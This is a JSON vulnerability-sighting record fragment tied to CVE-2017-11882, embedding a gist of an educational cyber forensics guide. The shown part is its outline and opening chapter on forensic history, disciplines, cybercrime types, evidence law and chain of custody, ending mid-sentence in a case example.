"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/114d8ab6-29fb-4d33-84d9-72005bc3371c", "content": "", "creation_timestamp": "2026-07-10T00:15:04.022243Z"}, {"uuid": "fc0fffa6-3cfe-4557-b876-474783da9463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://gist.github.com/bbrk364/d58600b6c87aa8873c8ea55be27029ca", "content": "# **Cyber Forensics Expert \u2013 Complete Professional Edition**\n\nThis Guide is written for a **deep technical reference + practical lab manual + legal guide**, suitable for advanced learners and professionals.\n\n---\n\n# PART I \u2013 FOUNDATIONS OF CYBER FORENSICS \n\n---\n\n## **Chapter 1 \u2013 Introduction to Cyber Forensics**\n\n### 1.1 Evolution of Digital Forensics\n\n* Early computer crime investigations\n* Rise of internet crimes\n* Modern cyber threat landscape\n* Impact of ransomware & APT groups\n\n### 1.2 Types of Digital Forensics\n\n* Computer forensics\n* Network forensics\n* Mobile forensics\n* Cloud forensics\n* Memory forensics\n* Database forensics\n\n### 1.3 Cybercrime Categories\n\n* Financial fraud\n* Insider threats\n* Cyber terrorism\n* Child exploitation investigations\n* Intellectual property theft\n\n### 1.4 Legal & Regulatory Frameworks\n\n* Digital evidence laws\n* Search and seizure procedures\n* Jurisdiction challenges\n* International cooperation (MLAT)\n* Privacy regulations (GDPR concepts)\n\n### 1.5 Chain of Custody Deep Dive\n\n* Documentation standards\n* Evidence tracking systems\n* Courtroom challenges\n* Real case failure examples\n\n---\n\n## **Chapter 2 \u2013 Computer Architecture & Storage Internals**\n\n### 2.1 CPU Architecture & Registers\n\n### 2.2 Memory Hierarchy\n\n### 2.3 Storage Media Types\n\n* HDD magnetic structure\n* SSD NAND flash structure\n* Wear leveling & forensic impact\n\n### 2.4 Disk Partitioning Systems\n\n* MBR internals\n* GPT internals\n* Hidden partitions\n\n### 2.5 File Systems Deep Analysis\n\n* FAT32 structure\n* NTFS deep internals\n\n  * MFT structure\n  * $LogFile\n  * $UsnJrnl\n* EXT4 journal system\n* APFS snapshots\n\n### 2.6 RAID Forensics\n\n* RAID 0, 1, 5, 6, 10 reconstruction\n* Data carving from RAID\n\n---\n\n## **Chapter 3 \u2013 Operating System Artifacts *\n\n### 3.1 Windows Internals\n\n* Boot process\n* Registry hive structure\n* System32 artifacts\n* Event logs deep dive\n\n### 3.2 Linux Internals\n\n* Init systems (systemd)\n* /proc filesystem\n* Authentication logs\n\n### 3.3 macOS Internals\n\n* Unified logs\n* Spotlight artifacts\n* Time Machine backups\n\n### 3.4 Timeline Analysis\n\n* Super timeline creation\n* Correlation of multi-source logs\n\n---\n\n# PART II \u2013 FORENSIC METHODOLOGY & ACQUISITION \n\n---\n\n## **Chapter 4 \u2013 Incident Response & Evidence Handling**\n\n### 4.1 First Responder Protocol\n\n### 4.2 Live vs Dead Analysis\n\n### 4.3 Volatile Data Collection\n\n### 4.4 Forensic Imaging Techniques\n\n* Bit-by-bit imaging\n* Logical imaging\n* Network acquisition\n\n### 4.5 Hashing Algorithms\n\n* MD5 weaknesses\n* SHA family\n* Collision risks\n\n### 4.6 Documentation & Reporting Standards\n\n---\n\n## **Chapter 5 \u2013 Forensic Tools & Lab Setup**\n\n### 5.1 Building a Forensic Lab\n\n* Hardware requirements\n* Write blockers\n* Faraday bags\n\n### 5.2 Commercial Tools\n\n* EnCase deep workflow\n* FTK workflow\n\n### 5.3 Open Source Tools\n\n* Autopsy\n* Sleuth Kit\n* Volatility\n* Plaso\n\n### 5.4 Automation & Scripting\n\n* Python for forensics\n* PowerShell artifact extraction\n\n---\n\n# PART III \u2013 DISK & FILE SYSTEM FORENSICS\n\n---\n\n## **Chapter 6 \u2013 NTFS & Windows Artifact Forensics**\n\n* MFT forensic parsing\n* Prefetch analysis\n* Shimcache\n* Amcache\n* LNK artifacts\n* Jump lists\n* USB device history\n* Recycle Bin forensics\n* Browser forensics (Chrome, Firefox, Edge)\n\n---\n\n## **Chapter 7 \u2013 Linux & macOS Forensics**\n\n* Bash history recovery\n* Cron persistence detection\n* Log tampering detection\n* macOS artifact deep dive\n* APFS snapshot recovery\n\n---\n\n## **Chapter 8 \u2013 Data Recovery & Carving**\n\n* Deleted file recovery\n* Signature-based carving\n* Entropy analysis\n* Hidden data detection\n* Slack space analysis\n\n---\n\n# PART IV \u2013 MEMORY & MALWARE FORENSICS\n\n---\n\n## **Chapter 9 \u2013 Memory Forensics**\n\n* Memory acquisition techniques\n* Process enumeration\n* DLL injection detection\n* Rootkit detection\n* Network artifact extraction\n* Volatility deep modules\n\n---\n\n## **Chapter 10 \u2013 Malware Forensics**\n\n* Static analysis workflow\n* PE file structure\n* Packers & obfuscation\n* Dynamic sandbox analysis\n* Reverse engineering basics\n* YARA detection rules\n* IOC development\n\n---\n\n# PART V \u2013 NETWORK & CLOUD FORENSICS \n\n---\n\n## **Chapter 11 \u2013 Network Forensics**\n\n* TCP/IP packet dissection\n* PCAP analysis methodology\n* DNS tunneling detection\n* IDS log correlation\n* NetFlow analysis\n* Timeline reconstruction\n\n---\n\n## **Chapter 12 \u2013 Cloud & Virtualization Forensics**\n\n* AWS log analysis\n* Azure monitoring logs\n* Google Cloud audit logs\n* Virtual machine artifacts\n* Container forensics\n* Kubernetes investigation workflow\n\n---\n\n# PART VI \u2013 MOBILE, IoT & EMERGING TECH \n\n---\n\n## **Chapter 13 \u2013 Mobile Forensics**\n\n* Android file system\n* iOS acquisition\n* App artifact extraction\n* Encrypted device challenges\n* Messaging app investigations\n\n---\n\n## **Chapter 14 \u2013 IoT & Embedded Forensics**\n\n* Firmware extraction\n* Chip-off techniques\n* Smart home device analysis\n* Drone investigations\n\n---\n\n# PART VII \u2013 ADVANCED TOPICS \n\n---\n\n## **Chapter 15 \u2013 Anti-Forensics & Evasion**\n\n* Data wiping methods\n* Encryption bypass concepts\n* Steganography detection\n* Log tampering detection\n* Timestomping detection\n\n---\n\n## **Chapter 16 \u2013 Cryptocurrency & Dark Web Forensics**\n\n* Bitcoin transaction tracing\n* Wallet artifact analysis\n* Blockchain analytics tools\n* Dark web marketplace investigations\n* OSINT correlation\n\n---\n\n# PART VIII \u2013 LEGAL, REPORTING & CAREER (80\u2013120 pages)\n\n---\n\n## **Chapter 17 \u2013 Writing Professional Forensic Reports**\n\n* Executive summary\n* Technical findings\n* Evidence referencing\n* Court admissibility\n* Expert witness preparation\n\n---\n\n## **Chapter 18 \u2013 Real-World Case Studies**\n\n* Ransomware case\n* Insider data theft\n* Financial fraud investigation\n* APT intrusion analysis\n* Timeline reconstruction case\n\n---\n\n# APPENDICES \n* Forensic command reference\n* Artifact cheat sheets\n* Sample forensic report\n* Lab exercises\n* Practice scenarios\n* Glossary\n\n---\n\n# PART I \u2013 FOUNDATIONS OF CYBER FORENSICS\n\n---\n\n## Chapter 1 \u2013 Introduction to Cyber Forensics\n\n---\n\n### 1.1 Evolution of Digital Forensics\n\n#### The Dawn of Digital Crime (1940s-1970s)\n\nThe history of digital forensics begins not with computers as we know them today, but with mainframe systems that occupied entire rooms. In 1946, when ENIAC (Electronic Numerical Integrator and Computer) was unveiled, no one could have imagined that these massive calculating machines would one day become tools for criminal activity.\n\n**Key Milestone:** The first documented computer crime occurred in 1973 when a bank teller at a New York bank used a computer to embezzle over $1.5 million. The teller exploited the bank's systems to modify account balances, demonstrating that computers could be both targets and tools for criminal activity.\n\n**Fact Note:** During this era, \"digital forensics\" didn't exist as a concept. When computer-related crimes occurred, investigators treated them as traditional crimes with a computer component, often lacking specialized knowledge to properly examine digital evidence.\n\n#### The Personal Computer Revolution (1980s)\n\nThe introduction of the IBM PC in 1981 and Apple's Macintosh in 1984 brought computing power into homes and small businesses. With this democratization of technology came new forms of crime.\n\n**1984 \u2013 The Birth of Formal Digital Forensics:** The FBI launched the Magnetic Media Program, marking the first formal government initiative dedicated to examining computer evidence. This program would later evolve into the Computer Analysis and Response Team (CART).\n\n**1987 \u2013 First Forensic Tools:** The IRS Criminal Investigation Division began developing forensic tools to examine computer evidence. These early tools were primitive by today's standards, often involving simple disk utilities and hex editors.\n\n> **Side Note:** Early investigators would often boot suspect computers and examine files using the operating system's native tools. This practice, we now know, modifies critical evidence \u2013 a lesson learned through painful courtroom experiences.\n\n#### The Internet Era (1990s)\n\nThe commercialization of the internet in the mid-1990s transformed digital forensics forever. Suddenly, evidence wasn't confined to a single computer \u2013 it could span continents.\n\n**1995 \u2013 The Birth of Commercial Tools:** ASR Data developed Expert Witness for Macintosh, which would later become EnCase. This marked the transition from custom scripts to commercial forensic platforms.\n\n**1998 \u2013 Network Forensics Emerges:** The first distributed denial-of-service attacks forced investigators to understand network traffic analysis. The concept of \"packet-level\" investigation became essential.\n\n**Forensic Challenge of the Era:** Investigators struggled with increasing storage capacities. When hard drives grew from 10MB to 1GB, the time required for examination grew exponentially, creating backlogs that could last months.\n\n#### Modern Cyber Threat Landscape (2000-Present)\n\nThe 21st century brought unprecedented challenges:\n\n**2000-2005:**\n- Email becomes primary evidence source in corporate litigation\n- First mobile phone forensics tools emerge\n- Windows XP dominance creates standardization in artifact locations\n\n**2006-2010:**\n- Rise of encryption (BitLocker, FileVault)\n- Social media platforms become evidence goldmines\n- Cloud computing complicates jurisdiction\n\n**2011-2015:**\n- Smartphone penetration exceeds 50% globally\n- BYOD (Bring Your Own Device) policies create forensic nightmares\n- First major APT (Advanced Persistent Threat) investigations\n\n**2016-2020:**\n- Ransomware epidemic demands rapid response capabilities\n- IoT devices become evidence sources (smart homes, wearables)\n- Cloud forensics matures as a discipline\n\n**2021-Present:**\n- AI-generated content challenges evidence authenticity\n- Encrypted by default (mobile devices, messaging apps)\n- Quantum computing threatens current encryption standards\n\n#### The Impact of Ransomware & APT Groups\n\n**Ransomware Evolution:**\n\n```mermaid\ngraph LR\n    A[1989: AIDS TrojanFirst ransomware] --> B[2005: ArchiveusPassword-protected files]\n    B --> C[2013: CryptoLockerStrong encryption]\n    C --> D[2017: WannaCryWorm capabilities]\n    D --> E[2020: Ransomware-as-a-ServiceDouble extortion]\n```\n\nModern ransomware investigations require examiners to:\n- Identify initial access vector (phishing, RDP brute force, vulnerability)\n- Trace lateral movement through networks\n- Recover encrypted files where possible\n- Analyze ransom notes for negotiation artifacts\n- Trace cryptocurrency payments\n\n**APT Group Characteristics:**\n\n| APT Group | Region | Primary Targets | Notable Techniques |\n|-----------|--------|-----------------|---------------------|\n| APT29 (Cozy Bear) | Russia | Government, think tanks | Watering holes, supply chain |\n| APT38 (Lazarus) | North Korea | Financial institutions | Swift system compromise |\n| APT3 (Gothic Panda) | China | Defense, aerospace | Zero-day exploitation |\n| FIN7 | Criminal | Retail, hospitality | Memory-only malware |\n\n---\n\n### 1.2 Types of Digital Forensics\n\n#### Computer Forensics\n\nComputer forensics focuses on examination of persistent storage media (hard drives, SSDs) and the operating systems that manage them. This is the foundation upon which all other forensic disciplines are built.\n\n**Scope of Examination:**\n- User-created files (documents, images, emails)\n- System artifacts (logs, registry, prefetch)\n- Deleted data recovery\n- Timeline reconstruction\n- Application analysis\n\n**Typical Investigation Workflow:**\n```\nEvidence Identification \u2192 Preservation \u2192 Acquisition \u2192 Examination \u2192 Analysis \u2192 Reporting\n```\n\n#### Network Forensics\n\nNetwork forensics involves monitoring, capturing, and analyzing network traffic to identify security incidents, gather evidence, and reconstruct events.\n\n**Key Data Sources:**\n- Full packet captures (PCAP files)\n- NetFlow/sFlow records\n- Firewall logs\n- IDS/IPS alerts\n- Proxy server logs\n- DHCP server logs\n\n**Real-World Application:** When investigating a data breach, network forensics can reveal:\n- When the initial compromise occurred (beaconing traffic)\n- What data was exfiltrated (file transfers)\n- Command and control communication patterns\n- Lateral movement between systems\n\n> **Important Note:** Unlike computer forensics, network forensics often deals with volatile evidence that may only exist for milliseconds. This requires continuous monitoring and capture capabilities.\n\n#### Mobile Forensics\n\nMobile devices present unique challenges due to their integrated nature \u2013 they combine computing, communication, and sensing capabilities in a constantly connected package.\n\n**Device Categories:**\n- Smartphones (iOS, Android)\n- Feature phones\n- Tablets\n- Wearables (smartwatches, fitness trackers)\n\n**Evidence Types Found on Mobile Devices:**\n- Call logs and contacts\n- SMS/MMS messages\n- App data (WhatsApp, Signal, Telegram)\n- Location history (GPS coordinates, WiFi networks)\n- Browser artifacts\n- Cloud-synced data\n\n**Acquisition Methods:**\n1. **Logical extraction** \u2013 File system access via APIs\n2. **File system extraction** \u2013 Full file system dump\n3. **Physical extraction** \u2013 Bit-for-bit copy of flash memory\n4. **Chip-off** \u2013 Direct memory chip reading (advanced)\n\n#### Cloud Forensics\n\nCloud forensics extends traditional digital forensics to encompass cloud computing environments, where data may be distributed across multiple jurisdictions and service models.\n\n**Service Models and Forensic Implications:**\n\n| Model | Customer Control | Provider Control | Forensic Challenges |\n|-------|------------------|-------------------|---------------------|\n| IaaS (AWS EC2) | OS, apps, data | Hypervisor, hardware | VM snapshot access |\n| PaaS (Azure SQL) | Data only | Platform, runtime | Limited log access |\n| SaaS (Office 365) | Content only | Everything | API-only evidence |\n\n**Cloud Evidence Sources:**\n- Virtual machine disk images\n- Cloud storage buckets\n- Database snapshots\n- API access logs\n- Identity provider logs\n- CDN logs\n\n**Case Example:** In a 2020 investigation of a compromised AWS environment, forensic examiners had to:\n1. Preserve EC2 instances as snapshots\n2. Analyze CloudTrail logs for API calls\n3. Examine VPC Flow Logs for network connections\n4. Review S3 access logs for data exfiltration\n\n#### Memory Forensics\n\nMemory forensics (also called live forensics) examines the volatile memory (RAM) of a running computer system. This discipline has become critical with the rise of memory-resident malware that never touches the hard drive.\n\n**What Memory Contains:**\n- Running processes and threads\n- Loaded DLLs and kernel modules\n- Network connections (including hidden ones)\n- Open files and registry keys\n- Passwords and encryption keys\n- Malware code and artifacts\n\n**Memory Acquisition Tools:**\n- Windows: FTK Imager, DumpIt, WinPmem\n- Linux: LiME, fmem\n- macOS: OSXPMem\n- Hardware: Tribble (PCI card acquisition)\n\n> **Forensic Fact:** In 2015, the CARBANAK malware used memory-only techniques to avoid detection. Traditional disk forensics showed nothing, but memory analysis revealed the complete malware infrastructure.\n\n#### Database Forensics\n\nDatabase forensics focuses on examining database management systems (DBMS) and their stored data, logs, and structures for evidence of unauthorized activity.\n\n**Database Artifacts:**\n- Transaction logs\n- Audit logs\n- Stored procedures and triggers\n- Index files\n- Temporary tables\n- Query execution plans\n\n**Common Database Investigations:**\n- Data theft (SELECT * FROM customers)\n- Fraudulent transactions (unauthorized updates)\n- SQL injection attacks\n- Privilege abuse\n- Data tampering\n\n**SQL Server Forensic Example:**\n```sql\n-- Examining transaction log for deleted records\nSELECT [Current LSN], Operation, [Transaction Name], [Begin Time], [End Time]\nFROM fn_dblog(NULL, NULL)\nWHERE Operation = 'LOP_DELETE_ROWS'\nORDER BY [Current LSN] DESC;\n```\n\n---\n\n### 1.3 Cybercrime Categories\n\n#### Financial Fraud\n\nFinancial fraud encompasses a wide range of criminal activities targeting monetary assets, banking systems, and financial instruments.\n\n**Types of Financial Fraud:**\n\n1. **Payment Card Fraud**\n   - Skimming devices at ATMs/POS terminals\n   - Card-not-present fraud in e-commerce\n   - Account takeover through credential theft\n\n   *Forensic Indicators:* Unexpected transactions, geographic anomalies, pattern analysis in payment data\n\n2. **Banking Trojans**\n   - Zeus, SpyEye, TrickBot malware families\n   - Web injects modifying browser sessions\n   - Man-in-the-browser attacks\n\n   *Investigation Approach:* Memory analysis for injected code, network traffic for bot communication, disk forensics for configuration files\n\n3. **Business Email Compromise (BEC)**\n   - CEO fraud (impersonating executives)\n   - Invoice manipulation\n   - Vendor email compromise\n\n   *Case Study:* In 2019, a BEC scheme cost a media company $15 million when attackers impersonated a vendor and provided fraudulent banking details for invoice payments.\n\n**Forensic Methodology for Financial Fraud:**\n```\n1. Transaction tracing\n2. Digital evidence collection (emails, logs)\n3. Malware examination\n4. Cryptocurrency tracking (if applicable)\n5. Timeline reconstruction\n```\n\n#### Insider Threats\n\nInsider threats originate from within the organization \u2013 employees, contractors, or business partners who have authorized access to systems and data.\n\n**Insider Threat Categories:**\n\n| Type | Motivation | Indicators | Forensic Focus |\n|------|------------|------------|----------------|\n| Malicious | Financial gain, revenge | Unusual access patterns, data downloads | File access logs, USB history |\n| Negligent | Carelessness, convenience | Policy violations, misconfigurations | Security tool alerts |\n| Compromised | External coercion | Unusual login times, geolocation mismatches | Account activity analysis |\n\n**Real-World Example:** A 2020 insider threat investigation revealed a departing employee had:\n- Accessed 15,000 files in final week (normal: 200/week)\n- Connected 4 USB devices (normal: 0)\n- Emailed 200MB of data to personal account\n- Printed confidential documents after hours\n\n**Detection Techniques:**\n- User and Entity Behavior Analytics (UEBA)\n- Data Loss Prevention (DLP) alerts\n- Privileged Access Management (PAM) logs\n- Endpoint Detection and Response (EDR) data\n\n#### Cyber Terrorism\n\nCyber terrorism involves the use of digital attacks to intimidate or coerce governments or societies in pursuit of political, ideological, or religious objectives.\n\n**Critical Infrastructure Targets:**\n- Power grids and utilities\n- Transportation systems\n- Healthcare facilities\n- Financial systems\n- Government networks\n\n**Notable Incidents:**\n- **2015 Ukraine Power Grid:** Attackers caused blackouts affecting 230,000 people through SCADA system compromise\n- **2020 Israeli Water System:** Attempted chlorine level manipulation thwarted by rapid response\n- **2021 Colonial Pipeline:** Ransomware attack disrupted fuel supply across US East Coast\n\n**Forensic Challenges in Cyber Terrorism:**\n- Rapid response requirements (safety implications)\n- Multiple agency involvement (FBI, DHS, private sector)\n- Classified information handling\n- International cooperation barriers\n\n#### Child Exploitation Investigations\n\nThis sensitive area of digital forensics requires specialized training, both technical and psychological, due to the nature of the content and legal requirements.\n\n**Investigation Components:**\n1. **Peer-to-Peer Networks:** Monitoring file sharing for known contraband hashes\n2. **Hidden Services:** Dark web marketplace investigations\n3. **Social Media:** Platform cooperation for offender identification\n4. **Device Examinations:** Thorough forensic analysis of suspect devices\n\n**Technical Challenges:**\n- Encryption and anonymization tools\n- Steganography for hidden content\n- Anti-forensic techniques (file wiping, encryption)\n- Cross-jurisdiction evidence sharing\n\n> **Important Ethical Note:** Forensic examiners in this field require psychological support and rotation policies to prevent burnout and trauma.\n\n#### Intellectual Property Theft\n\nIP theft involves the unauthorized acquisition of trade secrets, proprietary information, or copyrighted materials.\n\n**Common IP Targets:**\n- Source code and software\n- Product designs and specifications\n- Customer lists and pricing strategies\n- Research and development data\n- Manufacturing processes\n\n**Investigation Approaches:**\n\n*Corporate Espionage Investigation:*\n```\n- Network logs for data exfiltration\n- Email archives for unauthorized sharing\n- USB device connection logs\n- Cloud storage access records\n- Printer logs for document theft\n```\n\n**Case Study:** Waymo v. Uber (2017) involved a former engineer downloading 14,000 files containing trade secrets before joining a competitor. Forensic examination revealed:\n- External drive connections\n- Deleted file recovery\n- Cloud upload timestamps\n- Communication with competitors\n\n---\n\n### 1.4 Legal & Regulatory Frameworks\n\n#### Digital Evidence Laws\n\nDigital evidence is governed by rules of evidence that vary by jurisdiction but share common principles derived from common law traditions.\n\n**Admissibility Requirements:**\n1. **Relevance** \u2013 Evidence must make a fact more or less probable\n2. **Authenticity** \u2013 Evidence must be what it purports to be\n3. **Best Evidence Rule** \u2013 Original documents preferred over copies\n4. **Hearsay Rule** \u2013 Out-of-court statements offered for truth may be excluded\n5. **Chain of Custody** \u2013 Documentation of evidence handling\n\n**US Federal Rules of Evidence (FRE):**\n\n| Rule | Content | Forensic Application |\n|------|---------|----------------------|\n| 901(a) | Authentication requirement | Proving forensic images match originals |\n| 902(14) | Self-authenticating digital evidence | Certified hash values |\n| 1001(6) | Definition of \"duplicate\" | Forensic images as duplicates |\n| 1002 | Original document requirement | Printouts may not suffice |\n\n**International Variations:**\n- **UK:** Police and Criminal Evidence Act 1984 (PACE)\n- **EU:** General Data Protection Regulation (GDPR) affects evidence collection\n- **Canada:** Canada Evidence Act\n- **Australia:** Evidence Act 1995\n\n#### Search and Seizure Procedures\n\nThe Fourth Amendment to the US Constitution (and similar provisions in other countries) protects against unreasonable searches and seizures.\n\n**Warrant Requirements for Digital Evidence:**\n1. **Particularity** \u2013 Warrant must specifically describe what can be searched\n2. **Probable Cause** \u2013 Reasonable basis for believing evidence exists\n3. **Scope Limitations** \u2013 Search limited to areas where evidence might be found\n\n**Search Protocol Example:**\n```\nWARRANT EXECUTION CHECKLIST:\n\n\u2610 Knock and announce (unless exceptions apply)\n\u2610 Secure scene and occupants\n\u2610 Identify all digital devices\n\u2610 Photograph scene before touching devices\n\u2610 Assess if devices are powered on/off\n\u2610 Document all connections\n\u2610 Consult warrant for search scope\n\u2610 Begin evidence collection\n```\n\n**Consent Searches:**\n- Voluntary consent must be obtained\n- Third-party consent limited (shared computers)\n- Consent can be withdrawn\n- Scope defined by consent given\n\n**Border Searches:**\n- Reduced Fourth Amendment protection at borders\n- Forensic examinations may require reasonable suspicion\n- Some jurisdictions require warrant for device search\n\n#### Jurisdiction Challenges\n\nDigital evidence frequently crosses jurisdictional boundaries, creating complex legal questions.\n\n**Types of Jurisdiction:**\n- **Territorial** \u2013 Where crime occurred\n- **Personal** \u2013 Over the suspect\n- **Subject Matter** \u2013 Type of case (federal vs state)\n- **Prescriptive** \u2013 Power to make laws\n- **Adjudicative** \u2013 Power to hear cases\n\n**Cloud Jurisdiction Issues:**\n```\nData stored in Ireland\nCompany headquartered in US\nUsers located worldwide\nCrime affects victims in multiple countries\n\n\u2192 Which country's laws apply?\n\u2192 Who can compel data production?\n\u2192 What privacy laws protect users?\n\u2192 How is evidence authenticated?\n```\n\n**MLAT Process (Mutual Legal Assistance Treaty):**\n1. Requesting country prepares formal request\n2. Request transmitted through diplomatic channels\n3. Requesting country's central authority reviews\n4. Evidence gathered according to local laws\n5. Evidence transmitted back to requesting country\n\n**Timeframe:** MLAT requests typically take 6-24 months \u2013 far too slow for most investigations.\n\n#### Privacy Regulations (GDPR Concepts)\n\nThe GDPR (General Data Protection Regulation) has fundamentally changed how digital evidence can be collected, processed, and transferred.\n\n**Key GDPR Principles Affecting Forensics:**\n\n1. **Lawfulness, Fairness, Transparency** \u2013 Evidence collection must have legal basis\n2. **Purpose Limitation** \u2013 Evidence can only be used for stated purpose\n3. **Data Minimization** \u2013 Collect only necessary evidence\n4. **Accuracy** \u2013 Maintain accurate evidence\n5. **Storage Limitation** \u2013 Don't keep evidence longer than needed\n6. **Security** \u2013 Protect evidence from breach\n\n**Art. 32 \u2013 Security of Processing:**\n- Encryption requirements for evidence\n- Access controls\n- Breach notification\n- Regular testing\n\n**Cross-Border Data Transfers:**\n- Adequacy decisions (countries with equivalent protection)\n- Standard Contractual Clauses (SCCs)\n- Binding Corporate Rules (BCRs)\n- Derogations for legal proceedings\n\n> **Practical Impact:** When investigating a multinational company, forensic examiners must now consider whether they can legally access employee emails stored in different countries, and what privacy rights those employees have.\n\n---\n\n### 1.5 Chain of Custody Deep Dive\n\n#### Documentation Standards\n\nChain of custody refers to the chronological documentation of evidence handling from collection through presentation in court.\n\n**Essential Documentation Elements:**\n\n1. **Evidence Identifier** \u2013 Unique number/case reference\n2. **Description** \u2013 Detailed physical description\n3. **Source** \u2013 Where and when collected\n4. **Collector** \u2013 Who collected it\n5. **Date/Time** \u2013 When collected\n6. **Purpose** \u2013 Why collected\n7. **Storage** \u2013 Where stored\n8. **Transfers** \u2013 Every handoff documented\n9. **Access** \u2013 Who viewed/accessed evidence\n10. **Condition** \u2013 Evidence condition at each stage\n\n**Chain of Custody Form Example:**\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551               CHAIN OF CUSTODY RECORD                \u2551\n\u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551 Case Number: CF-2023-0042                            \u2551\n\u2551 Evidence ID: EX-001                                   \u2551\n\u2551 Description: Dell Latitude 7420 Laptop, SN: 1A2B3C   \u2551\n\u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551 COLLECTED BY: Sgt. Johnson, Cyber Crimes Unit        \u2551\n\u2551 Date/Time: 2023-06-15 14:30                          \u2551\n\u2551 Location: 123 Main St, Office 4B                      \u2551\n\u2551 Condition: Powered off, connected to power           \u2551\n\u2551 Sealed in anti-static bag #AS-8923                    \u2551\n\u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551 TRANSFERRED TO: Evidence Room (Cpl. Martinez)        \u2551\n\u2551 Date/Time: 2023-06-15 16:45                          \u2551\n\u2551 Purpose: Temporary storage pending forensic lab      \u2551\n\u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551 TRANSFERRED TO: Forensic Lab (Dr. Williams)          \u2551\n\u2551 Date/Time: 2023-06-16 09:15                          \u2551\n\u2551 Purpose: Forensic examination                         \u2551\n\u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551 RETURNED TO: Evidence Room (Cpl. Martinez)           \u2551\n\u2551 Date/Time: 2023-06-30 11:20                          \u2551\n\u2551 Purpose: Post-examination storage                     \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n```\n\n#### Evidence Tracking Systems\n\nModern forensic labs use evidence tracking systems to maintain chain of custody electronically.\n\n**System Components:**\n- **Barcode/RFID tagging** \u2013 Physical evidence tracking\n- **Biometric access** \u2013 Who accessed evidence\n- **Audit logs** \u2013 All system actions recorded\n- **Tamper-evident packaging** \u2013 Physical security\n- **Environmental monitoring** \u2013 Temperature/humidity for sensitive evidence\n\n**RFID Tracking Implementation:**\n```\nEvidence arrives \u2192 Tag applied \u2192 Scanner records\n    \u2193\nStorage location updated in database\n    \u2193\nMovement triggers automated alerts\n    \u2193\nInventory audits performed via handheld scanners\n```\n\n**Audit Trail Requirements:**\n- Who, what, when, where, why\n- Cannot be modified or deleted\n- Redundant backup\n- Regular verification\n\n#### Courtroom Challenges\n\nChain of custody is frequently challenged in court to create reasonable doubt.\n\n**Common Defense Arguments:**\n\n1. **Gap in Documentation:**\n   - \"Your Honor, there's a 4-hour gap in the chain of custody. We don't know who had access to the evidence during this time.\"\n\n2. **Improper Storage:**\n   - \"The evidence was stored in an unsecured location accessible to unauthorized personnel.\"\n\n3. **Environmental Concerns:**\n   - \"No temperature/humidity logs exist. Electronic evidence could have been degraded.\"\n\n4. **Multiple Access:**\n   - \"Fifteen people had access to the evidence. Any of them could have tampered with it.\"\n\n5. **Copy vs. Original:**\n   - \"We're being asked to accept a forensic image, not the original evidence.\"\n\n**Prosecution Response Strategy:**\n```\n- Present complete documentation\n- Call each custodian as witness\n- Explain standard procedures\n- Demonstrate security measures\n- Address gaps with reasonable explanations\n- Show hash value verification\n```\n\n#### Real Case Failure Examples\n\n**Case 1: The Unlocked Evidence Room (2015)**\n*Location:* Midwest US State Police Lab\n\n**Situation:** Evidence from a major child exploitation investigation was stored in a room where the lock had been broken for three months. Twenty-three people had access during this period.\n\n**Result:** Defense successfully argued that evidence could have been planted. Charges against the primary suspect were dropped. The lab's entire evidence backlog had to be re-examined at a 